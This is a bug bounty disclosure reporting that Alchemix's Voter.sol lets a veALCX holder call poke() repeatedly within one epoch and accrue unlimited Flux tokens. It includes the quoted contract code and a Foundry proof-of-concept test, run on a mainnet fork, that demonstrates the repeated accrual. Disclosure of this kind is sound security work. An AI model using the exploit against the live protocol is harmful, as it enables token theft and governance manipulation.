# 31388 - \[SC - Critical] Vulnerability in the poke function of Voting co...

Submitted on May 17th 2024 at 22:57:04 UTC by @b0g0 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31388

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* User can indefinitely accrue and mint FluxTokens

## Description

## Brief/Intro

The `poke()` function of `Voter.sol` introduces a vulnerability, allowing a token holder to increase his Flux balance as much as he likes. Unrestricted supply of Flux gives unfair advantage to voter and allows him to influence the votes and escape penalty when withdrawing

## Vulnerability Details

`Voter.sol` has 3 main function to manage votes:

* `vote()` - used to vote for pools (called `ONCE` per epoch)
* `poke()`- updates the voting status of an existing vote (can be called `MANY` time per epoch)
* `reset()`- resets the vote ( called `ONCE` per epoch)

Both `vote()` and `poke()` call the internal `_vote()` function, which resets the previous vote, creates a new vote based on the current voting power and accrues new Flux based on it:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L412>

```solidity
 function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
         // 1. Reset previous vote
        _reset(_tokenId);

        ....

        // 2. Accrue flux
        IFluxToken(FLUX).accrueFlux(_tokenId);

         // 3. calculate weights and create vote
        uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
         ....
    }
```

The important part to focus on here is that `Flux is accrued` `every` time `_vote()` is invoked. The amount accrued is based on the token voting power. `FluxToken::accrueFlux()` looks like this:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L188>

```solidity
function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

The other important thing to note about FLUX is that it should accrue once `EACH EPOCH`

The docs explicitly state that :

> `The FLUX token is a special reward token that accrues to veALCX positions each epoch...`

Link -> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/CONTRACTS.md#fluxtokensol>

**And this is where the bug lies** - `Voter::poke()` can be called an unlimited amount of times each epoch. As a result `_vote()` will also be called, meaning Flux balances will get accrued on every call, practically enabling the token owner to source as much Flux as he wants.

## Impact Details

Having an unlimited supply of Flux gives the NFT owner the power to:

* boost all his votes, all the time, influencing the outcome of the votes for the pools - the bigger the value locked in an NFT, the more Flux it can steal and the greater influence it can have on the votes
* unlock his position at any time - effectively evading penalty and withdrawing much sooner than intended. This defeats the whole purpose of escrowing and causes harm to the protocol

## References

The `poke()` function:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195>

## Proof of Concept

I've added a POC inside the currently existing `Voting.t.sol` test file: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/Voting.t.sol>

You can run the POC like this: `forge test --mt testPokeExploit --fork-url https://eth.llamarpc.com --fork-block-number 17133822 -vvvv`

```solidity
function testPokeExploit() public {
        // Lock ALCX token for max period to get max voting power
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);

        // No unclaimed flux token
        uint256 unclaimedBalance = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance, 0);

        // Impersonate token owner and call poke()
        hevm.startPrank(admin);
        voter.poke(tokenId);

        // Flux has been accrued
        unclaimedBalance = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance, 997259164121562177);

        // call poke()and  accrue unclaimed Flux again
        voter.poke(tokenId);

        // Flux has increased x2
        uint256 unclaimedBalance_x2 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x2, unclaimedBalance * 2);

        // Flux has increased x3
        voter.poke(tokenId);
        uint256 unclaimedBalance_x3 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x3, unclaimedBalance * 3);

        // Flux has increased x4
        voter.poke(tokenId);
        uint256 unclaimedBalance_x4 = flux.getUnclaimedFlux(tokenId);
        assertEq(unclaimedBalance_x4, unclaimedBalance * 4);
    }
```
